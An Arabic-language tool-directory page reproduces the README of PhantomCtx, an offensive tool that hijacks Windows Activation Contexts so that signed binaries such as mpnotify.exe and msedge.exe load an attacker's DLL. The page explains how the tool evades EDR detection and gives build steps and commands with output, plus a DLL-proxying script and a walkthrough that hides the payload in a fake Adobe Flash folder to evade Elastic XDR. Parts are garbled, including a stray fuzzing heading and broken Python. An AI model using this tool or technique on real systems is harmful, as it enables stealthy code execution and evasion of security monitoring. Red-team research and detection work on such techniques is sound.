Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PhantomCtx — أداة تفادي اختطاف سياق التفعيل | Kitploit
أدوات/GitHubGitHub/r3xmax/phantomctx
تصعيد الامتيازاتالاستغلالما بعد الاستغلالالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
GitHubr3xmax/phantomctx

PhantomCtx

أداة تفادي اختطاف سياق التفعيل

عرض المستودع
30652منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PhantomCtx

PhantomCtx هي أداة تقوم بأتمتة اختطاف Activation Context بهدف تحميل DLL عشوائي في الغالبية العظمى من الملفات التنفيذية الموقعة (مثل: Microsoft، Adobe، Mozilla).

يتم تقديم المحمل كبديل حديث لأساليب DLL Hijacking & Sideloading التقليدية: على عكس النهج التقليدي، لا يتطلب وجود ملف ثنائي ضعيف. يمكن تنفيذ التقنية طالما أن الملف التنفيذي الهدف يحل DLL عبر جدول عناوين الاستيراد (IAT) أو، في أسوأ الحالات، عبر LoadLibrary بدون مسار مطلق.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

root@kitploit:~
            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

root@kitploit:~
    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.
root@kitploit:~
للحصول على نظرة أعمق حول كيفية عمله داخليًا وكيفية تجاوزه لحلول EDR العدوانية، راجع المنشور على [مدونتي التقنية](https://rexmax.dev/posts/phantomctx-new-approach-to-activation-context-hijacking-for-edr-evasion/).

# جدول المحتويات

- [الآلية الداخلية](#internal-mechanism)
  - [طريقة جديدة لاختراق سياق التفعيل تركز على تجاوز EDR](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion)
- [كيفية التجميع](#how-to-compile)
- [الاستخدام: سير العمل القائم على الوحدة](#usage-module-based-workflow)
  - [الاستطلاع](#recon)
  - [الإنتاج (موصى به)](#spawn-recommended)
  - [وقت التشغيل](#runtime)
- [مثال: اختراق سياق التفعيل + وكيل DLL لـ mpnotify.exe](#example-activation-context-hijacking--dll-proxying-mpnotifyexe)
- [إخلاء المسؤولية](#disclaimer)
- [المراجع](#references)

# الآلية الداخلية

يستخدم `PhantomCtx` ميزة **شرعية** من Windows موجودة في معظم العمليات، تسمى **سياقات التفعيل**. وفقًا لمايكروسوفت:

>[_سياقات التفعيل_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) هي هياكل بيانات في الذاكرة تحتوي على معلومات يمكن للنظام استخدامها لإعادة توجيه التطبيق **لتحميل إصدار معين من DLL**، أو مثيل كائن COM، أو إصدار نافذة مخصص...

عندما يحل محمل Windows DLL (عبر `LoadLibrary` أو جدول الاستيراد)، فإنه يتبع ترتيب حل محدد:

1. إعادة توجيه DLL
2. مجموعات API
3. **إعادة توجيه بيان SxS**
4. قائمة الوحدات المحملة
5. DLLs المعروفة
6. رسم بياني لتبعية حزمة العملية
7 – 12. ترتيب البحث القياسي للملفات على القرص

يستهدف `PhantomCtx` الخطوة 3: **إعادة توجيه بيان SxS**.

تُشتق سياقات التفعيل من ملفات [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) المرتبطة بالملفات التنفيذية، وعادةً ما تكون مضمنة في ثنائيات PE. داخليًا، يحتوي سياق التفعيل على **جدول محتويات (ToC)** يفهرس أقسامًا متعددة، بما في ذلك **قسم إعادة توجيه DLL**. عادةً ما يصل المحمل إلى سياقات التفعيل عبر `PEB.ActivationContextData`.

أظهر بحث [Kurosh Dabbagh Escalante](https://github.com/Kudaes) أنه يمكن إنشاء سياق تفعيل ضار باستخدام `CreateActCtxW`، ثم كتابته في ذاكرة `RW` في عملية مستهدفة، ثم تنشيطه عن طريق الكتابة فوق `PEB.ActivationContextData` للإشارة إلى الهيكل المُصمم.

بمجرد اختراقه، يقوم المحمل بحل إعادة توجيه DLL المحددة داخل سياق التفعيل الضار، **معيدًا توجيه حل المكتبة** إلى مسارات يتحكم بها المهاجم.

يمكن العثور على المحمل المسمى `Eclipse`، الذي تم تطويره كجزء من بحثه، في [مستودعه الرسمي](https://github.com/Kudaes/Eclipse).

## طريقة جديدة لاختراق سياق التفعيل تركز على تجاوز EDR

بعد اختبارات متعددة، تم اكتشاف `Eclipse` بواسطة أنظمة EDR عدوانية مثل Elastic في النقاط التالية:

- `حقن كود العملية المعلقة المحتمل`: إنشاء عملية معلقة متبوعًا بـ `NtWriteVirtualMemory` لنسخ كتلة AC إلى العملية البعيدة.
- `كتابة ذاكرة عملية بعيدة بواسطة وحدة منخفضة السمعة`: `NtWriteVirtualMemory` بدون `CreateProcess` في مكدس الاستدعاءات ووحدة منخفضة السمعة، مطلوبة للكتابة فوق `PEB.ActivationContextData`.
- `كتابة ذاكرة بعيدة إلى عملية هدف موثوقة`: `WriteProcessMemory` بدون `CreateProcess` في مكدس الاستدعاءات، مقيدة بالثنائيات المثبتة من النظام/المستخدم.

بعد يوم واحد من البحث عن طرق بديلة لتنفيذها في `PhantomCtx`، اكتشفت أن **منطقة الذاكرة لسياق التفعيل الأصلي هي عرض قسم يتم تعيينه أثناء إنشاء العملية**. من الممكن **إلغاء تعيين هذا العرض القسم باستخدام** `NtUnmapViewOfSection` ثم إنشاء عرض قسم جديد للقراءة فقط مدعوم بسياق التفعيل الضار الخاص بنا، وتعيينه في **نفس عنوان الذاكرة بالضبط** حيث كان الأصل موجودًا.

نتيجة لذلك، لم يعد **من الضروري** أن يقوم المحمل بالكتابة فوق مؤشر `PEB.ActivationContextData`. هذا يلغي الحاجة إلى استخدام `NtAllocateVirtualMemory` و`NtWriteVirtualMemory`، متجاوزًا بذلك جميع قواعد مراقبة EDR المتعلقة بكتابة الذاكرة عن بُعد والحقن.

بالإضافة إلى ذلك، لزيادة صعوبة الاكتشاف، لا يستخدم `PhantomCtx` `CreateActCtxW`، مما يلغي الحاجة إلى معالجة ملفات `.manifest` أثناء الهجوم. اعتمادًا على الوضع المحدد، يمكنه **سرقة سياق التفعيل من عملية بعيدة أخرى** تحتوي على قسم إعادة توجيه DLL صالح باستخدام `NtReadVirtualMemory`، وإعادة بناء إدخالات إعادة توجيه DLL محليًا، وتصحيحه، ثم استبدال الأصل.

# كيفية التجميع

لتجميع الأداة، يُوصى باستخدام Visual Studio أو مترجم متوافق.

إذا كنت تستخدم VS، افتح `x64 Native Tools Command Prompt for VS`، وانتقل إلى الدليل الجذر للمشروع وقم بتجميعه باستخدام `compile.bat`:```
C:\PhantomCtx>.\compile.bat
[INFO] Created output directory: x64
[INFO] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[SUCCESSFUL] Build successful: x64\PhantomCtx.exe

الاستخدام: سير العمل المعتمد على الوحدات

تم تصميم الأداة بهندسة معيارية لتبسيط التطوير مع تزويد المشغل بسير عمل واضح قائم على الخطوات.

تخدم كل وحدة دورًا محددًا ضمن سير عمل الاستغلال.

يرجى أخذ لحظة لمراجعة الغرض من كل منها للاستفادة الكاملة من إمكانيات الأداة!!!

يمكن تنفيذ الهجوم إما على عملية سيتم إنشاؤها (موصى به) أو على عملية قيد التشغيل. تم تصميم الأداة للتعامل مع كلا السيناريوهين.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

root@kitploit:~
            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

root@kitploit:~
    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.
root@kitploit:~
## الاستطلاع

يركز وضع `الاستطلاع` على تحليل سياق التنشيط للبرنامج المستهدف أو العملية الجارية. وهو أول وحدة ينبغي تنفيذها، حيث تحدد الوحدة الفرعية للاستغلال التي يجب استخدامها ضمن سير عمل الاستغلال.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]

  Submodes:
        -s spawn        Spawn a process in suspended mode to retrieve its
                        Activation Context DLL redirection information.

        -s runtime      Attach to a currently running process to retrieve its
                        Activation Context DLL redirection information.

  Examples:
        PhantomCtx.exe -m recon -s spawn   -p C:\path\to\target.exe
        PhantomCtx.exe -m recon -s runtime -p target.exe

على سبيل المثال، نستخدم الملف الثنائي الموقّع من مايكروسوفت mpnotify.exe. الخطوة الأولى هي تحديد ما إذا كان يحتوي على Activation Context صالح مع قسم إعادة توجيه DLL.

إذا لم يكن كذلك، توصي الأداة بالوحدة الفرعية steal-context ضمن وضعي spawn أو runtime، والتي تسترد Activation Context من عملية أخرى تحتوي على قسم إعادة توجيه صالح.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe" [SUCCESS] Suspended process created... [SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)

+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x394 (916 bytes) | Flags : 0x00000000 | +--[ TOC ] 6 entries | [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 | [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 | [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 | [03] Id=6 Format=2 Offset=0x033C Length=0x0028 | [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 | [05] Id=11 Format=1 Offset=0x038C Length=0x0008 | +--[ DLL REDIRECTION ] not present in this blob | +--[ HINT ] Use 'steal-context' to steal the Activation Context from a running process that has one. Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from

root@kitploit:~
إذا كان سياق التنشيط (Activation Context) للبرنامج أو العملية المستهدفة يحتوي على قسم إعادة توجيه DLL صالح، فإن الطريقة الأكثر فعالية هي استخدام الوحدات الفرعية `add-entry` أو `patch-entry` داخل وضعي الاستغلال `spawn` أو `runtime`.

## Spawn (موصى به)

تم تصميم وضع `spawn` لأداء اختطاف سياق التنشيط عن طريق إطلاق عملية من ملف قابل للتنفيذ موقع على النظام المستهدف.

هذه الطريقة هي **الأكثر توصية** وتم اختبارها بدقة، نظرًا لبساطتها التشغيلية وموثوقيتها.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]

  Submodes:
        -s steal-context        Spawn a process and hijack its Activation Context
                                by stealing the context from another running process.

        -s add-entry            Spawn a process and hijack its Activation Context
                                by adding a new DLL redirection entry.

        -s patch-entry          Spawn a process and hijack its Activation Context
                                by patching the path of an existing DLL redirection entry.

  Options:
        -p <PATH>               Path to the target executable to spawn.
        -d <DLL>                Name of the DLL to hijack (e.g. comctl32.dll).
        --dll-path <PATH>       Path to the custom DLL to load.

  steal-context Options:
        --steal-from <NAME>     Process name to steal the Activation Context from.

  Examples:
        PhantomCtx.exe -m spawn -s steal-context  -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s add-entry      -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s patch-entry    -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

إن سير العمل الداخلي لهذا الوضع هو كما يلي:

  1. أنشئ العملية المستهدفة في حالة معلقة باستخدام CreateProcessW.
  2. اعتمادًا على الوحدة الفرعية المحددة:
    • steal-context: افتح عملية السرقة وانسخ سياق تفعيل صالح يحتوي على قسم إعادة توجيه DLL إلى مخزن محلي. اعتمادًا على ما إذا كان هناك إدخال موجود بالفعل لـ DLL الهدف، يتم إنشاء إدخال جديد أو تعديل إدخال موجود. يتم بعد ذلك تعيين سياق التفعيل المعدل إلى العملية المعلقة، ليحل محل السياق الأصلي.

    • add-entry: افتح عملية البرنامج المعلقة وانسخ سياق تفعيلها إلى مخزن محلي. تتم إضافة إدخال إعادة توجيه DLL جديد لـ DLL المحدد، ويحل سياق التفعيل المعدل محل السياق الأصلي.

    • patch-entry: افتح عملية البرنامج المعلقة وانسخ سياق تفعيلها إلى مخزن محلي. يتم تعديل إدخال إعادة توجيه DLL الموجود لـ DLL المحدد ليشير إلى مسار DLL الحمولة المقدمة، ويحل سياق التفعيل المعدل محل السياق الأصلي.

  3. استأنف تنفيذ العملية المعلقة باستخدام ResumeThread.

يوصى باستخدام الوحدة الفرعية steal-context عندما لا يحتوي البرنامج التنفيذي الهدف على سياق تفعيل صالح أو قسم إعادة توجيه DLL صالح. يمكن تحديد ذلك باستخدام وحدة recon التي تم تنفيذها مسبقًا.

الهدف الموثوق لسرقة السياق هو explorer.exe. لا يؤدي هذا إلى عدم الاستقرار أو خطر الكشف، حيث أن العملية تتضمن فقط قراءة الذاكرة الظاهرية.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll [SUCCESS] Found 'explorer.exe' PID 1604 [SUCCESS] Opened handle to PID 1604 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\hijack\hijack.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2040 -> 0x20E4 [SUCCESS] Blob patched. New TotalSize = 0x20E4

[INFO] Patched ActivationContextData: | | +--[ DLL REDIRECTION ] 3 entries | | | [02] advapi32.dll | PseudoKey : 0xF60E87FC | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | +--[ END ]

[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 [SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) [SUCCESS] Target process resumed. ``` المكونان الفرعيان `add-entry` و `patch-entry` يُستخدمان عندما **يكون التطبيق يمتلك بالفعل سياق تنشيط صالح مع قسم إعادة توجيه DLL** و:
  1. يحتوي بالفعل على إدخال إعادة توجيه لـ DLL؛ في هذه الحالة، patch-entry هو الخيار المناسب.
  2. تحتاج إعادة توجيه مخصصة لإضافتها لمكتبة من المتوقع تحميلها أثناء التنفيذ؛ في هذه الحالة، يُستخدم add-entry.

على الرغم من إمكانية استخدام steal-context في هذه السيناريوهات، إلا أنه غير ضروري بشكل عام، حيث يتوفر بالفعل سياق تنشيط صالح للتعديل.

يمكن ملاحظة مثال على patch-entry بعد تعداد msedge.exe باستخدام PhantomCtx، حيث يتم التعرف على إدخال إعادة توجيه مخصص موجود لـ msedge_elf.dll:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : |

C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll ``` بدلاً من ذلك، من خلال تعداد جدول عناوين الاستيراد (IAT) للعملية المستهدفة، يمكن تحديد ملفات DLL المستوردة المناسبة للاختطاف. على سبيل المثال، يستورد `librewolf.exe` ملف `SHLWAPI.dll` حتى إذا لم يكن موجوداً في بيان سياق التنشيط؛ في مثل هذه الحالات، يمكن إضافته إلى جدول إعادة التوجيه لفرض الحل.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| +--[ DLL REDIRECTION ] 4 entries | [00] SHLWAPI.dll | PseudoKey : 0x65C6D010 | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | ``` ## وقت التشغيل

تم تصميم وضع runtime لتنفيذ اختطاف سياق التفعيل (Activation Context hijacking) على عملية موقعة قيد التشغيل بالفعل.

على الرغم من تنفيذ هذه الوحدة، إلا أن فعاليتها تعتمد على معرفة متى وأي مكتبة محددة يتم تحميلها أثناء وقت تشغيل العملية بدقة. ونتيجة لذلك، حتى إذا تم اختطاف سياق التفعيل الخاص بالعملية الشرعية، فإن النجاح لا يزال يعتمد على قيام الهدف باستدعاء LoadLibrary دون مسار صريح، وهو أمر يصعب التنبؤ به غالبًا.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h

root@kitploit:~
            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]

Submodes: -s steal-context Hijack the Activation Context of a running process by stealing the context from another running process.

root@kitploit:~
    -s add-entry            Hijack the Activation Context of a running process
                            by adding a new DLL redirection entry.

    -s patch-entry          Hijack the Activation Context of a running process
                            by patching the path of an existing DLL redirection entry.

Options: -p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe). -d Name of the DLL to hijack (e.g. comctl32.dll). --dll-path Path to the custom DLL to load.

steal-context Options: --steal-from Process name to steal the Activation Context from.

Examples: PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

root@kitploit:~
سير العمل الداخلي لهذا الوضع هو كما يلي:
1. يتم التعرف على معرف العملية (PID) للعملية المستهدفة من اسم الملف التنفيذي، ويتم فتح العملية بصلاحيات `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`.
2. اعتمادًا على الوحدة الفرعية المحددة:
    - `steal-context`: افتح عملية السرقة وانسخ سياق تنشيط صالح يحتوي على قسم إعادة توجيه DLL إلى مخزن محلي. اعتمادًا على ما إذا كان هناك إدخال لـ DLL المستهدفة موجودًا بالفعل، يتم إنشاء إدخال جديد أو تصحيح الموجود. ثم يتم تعيين سياق التنشيط المعدل في العملية الجارية، ليحل محل السياق الأصلي.
	  
	- `add-entry`: افتح العملية الجارية المستهدفة وانسخ سياق التنشيط الخاص بها إلى مخزن محلي. تتم إضافة إدخال إعادة توجيه DLL جديد لـ DLL المحددة، ويحل سياق التنشيط المعدل محل الأصلي.
	  
	- `patch-entry`: افتح العملية الجارية المستهدفة وانسخ سياق التنشيط الخاص بها إلى مخزن محلي. يتم تصحيح إدخال إعادة توجيه DLL الموجود لـ DLL المحددة للإشارة إلى DLL المقدمة (payload)، ويحل سياق التنشيط المحدث محل الأصلي.

يوصى باستخدام الوحدة الفرعية `steal-context` عندما **لا تحتوي العملية الجارية المستهدفة على سياق تنشيط صالح أو قسم إعادة توجيه DLL صالح**. يمكن تحديد ذلك باستخدام وحدة `recon` المنفذة سابقًا.

الهدف الموثوق لسرقة السياق هو `explorer.exe`. لا يؤدي ذلك إلى عدم استقرار أو خطر اكتشاف، لأن العملية تتضمن فقط قراءة الذاكرة الافتراضية.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll

<SNIP>

[INFO] Patched ActivationContextData:

<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
|  [00] user32.dll
|       PseudoKey  : 0x0DB00860
|       RosterIdx  : 1
|       Flags      : PATH_INCLUDES_BASE_NAME
|       Segments   : 1  PathLen=40 bytes
|       Path       : C:\hijack\hijack.dll

<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.

يتم استخدام الوحدتين الفرعيتين add-entry و patch-entry عندما تحتوي العملية الجارية بالفعل على سياق تنشيط صالح مع قسم إعادة توجيه DLL و:

  1. تحتوي بالفعل على إدخال إعادة توجيه لـ DLL؛ في هذه الحالة، patch-entry هو الخيار المناسب.
  2. يجب إضافة إعادة توجيه مخصصة لمكتبة يُتوقع تحميلها أثناء التنفيذ؛ في هذه الحالة، يتم استخدام add-entry.

على الرغم من أنه لا يزال من الممكن استخدام steal-context في هذه السيناريوهات، إلا أنه غير ضروري بشكل عام، نظرًا لوجود سياق تنشيط صالح بالفعل للتعديل.

يمكن ملاحظة مثال على patch-entry بعد تعداد العملية msedge.exe باستخدام PhantomCtx، حيث يتم تحديد إدخال إعادة توجيه مخصص موجود لـ msedge_elf.dll:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : |

C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` بدلاً من ذلك، من خلال تعداد أحداث وقت التشغيل للعملية المستهدفة، يمكن تحديد DLLs التي يتم تحميلها أثناء التنفيذ والمناسبة للاختطاف باستخدام أدوات مثل `Procmon`. في مثل هذه الحالات، يمكن إضافتها إلى جدول إعادة التوجيه لفرض الحل.```c .\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| +--[ DLL REDIRECTION ] 4 entries | [00] target.dll | PseudoKey : 0x2D1B25C7 | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` # مثال: اختطاف سياق التنشيط + وكيل DLL 'mpnotify.exe'

دعونا نلقي نظرة على حالة استخدام عملية يظل فيها PhantomCtx غير قابل للكشف على جهاز Windows 11 محدث بالكامل يعمل بعميل Elastic Cloud XDR مع تمكين جميع القواعد وضبطها على وضع Prevent لجعلها عدوانية قدر الإمكان.

لاحظ أننا سنستهدف ثنائيات Windows 11؛ لذلك، إذا كان جهاز المهاجم يعمل بنظام Windows 10، فسنحتاج إلى نقل الملفات التنفيذية وملفات DLL التي تم تحليلها إلى جهازنا.

الخطوة الأولى هي تحديد ملف تنفيذي لـ Windows يستورد ملفات DLL ذات الصلة.

في هذه الحالة، سنستخدم PE-Bear لفحص جدول عناوين الاستيراد (IAT) للملف التنفيذي الموقع C:\Windows\System32\mpnotify.exe، حيث يمكن تحديد ADVAPI32.dll كأحد وارداته:

لمنع تعطل التطبيق أو ظهور سلوك غير متوقع عند تحميل حمولتنا، يجب إجراء وكيل DLL بحيث تقوم حمولتنا بإعادة توجيه الاستدعاءات إلى DLL الأصلي.

سيتم استخدام عارض تصدير DLL لاستخراج جميع الدوال المصدرة من ADVAPI32.dll وإنشاء توجيهات إعادة التوجيه التي سيتم تحديدها في الكود المصدري لملف DLL الوكيل الخاص بنا.

بمجرد فتح C:\Windows\System32\advapi32.dll في عارض تصدير DLL، انتقل إلى View > HTML Report - All Functions.

من الضروري إبقاء نافذة المتصفح مفتوحة حتى يظل ملف report.html المُنشأ متاحًا. ثم يتم نسخ مسار الملف ومعالجته باستخدام البرنامج النصي التالي بلغة Python الذي طوره itm4n:```python """ The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately. """ from future import print_function import argparse

def main(): parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") args = parser.parse_args() report = args.report

root@kitploit:~
try:
    f = open(report)
    page = f.readlines()
    f.close()
except:
    print("[-] ERROR: open('%s')" % report)
    return

for line in page:
    if line.startswith("<tr>"):
        cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
        function_name = cols[1]
        ordinal = cols[4].split(' ')[0]
        dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
        print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if name == 'main': main()

root@kitploit:~
#### أمثلة الاستخدام الأساسية

##### استخدام ffuf كأداة لتشويش الويب```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>

يتم نسخ جميع التصديرات من المخرجات إلى الكود المصدري لـ payload.c، وبعد ذلك يتم تجميع DLL ووضعه بجانب PhantomCtx على جهاز المهاجم، مع نسخة من المكتبة الأصلية المعاد تسميتها advapi32_orig.dll.

يجب تنظيم الملفات المطلوبة على النحو التالي:```c C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir

06/13/2026 08:53 PM 158,208 advapi32.dll 06/10/2026 01:52 AM 753,544 advapi32_orig.dll 06/13/2026 08:28 PM 198,144 PhantomCtx.exe

root@kitploit:~
ثم يتم نقل الملفات إلى دليل على جهاز الهدف الذي يعمل بنظام Windows 11. في هذه الحالة، يتم إسقاطها في:```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache

بعد ذلك، يتم تنفيذ Activation Context Hijacking ضد الثنائي mpnotify.exe باستخدام PhantomCtx:```c C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll" [SUCCESS] Found 'explorer.exe' PID 6380 [SUCCESS] Opened handle to PID 6380 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2054 -> 0x2166 [SUCCESS] Blob patched. New TotalSize = 0x2166

[INFO] Patched ActivationContextData:

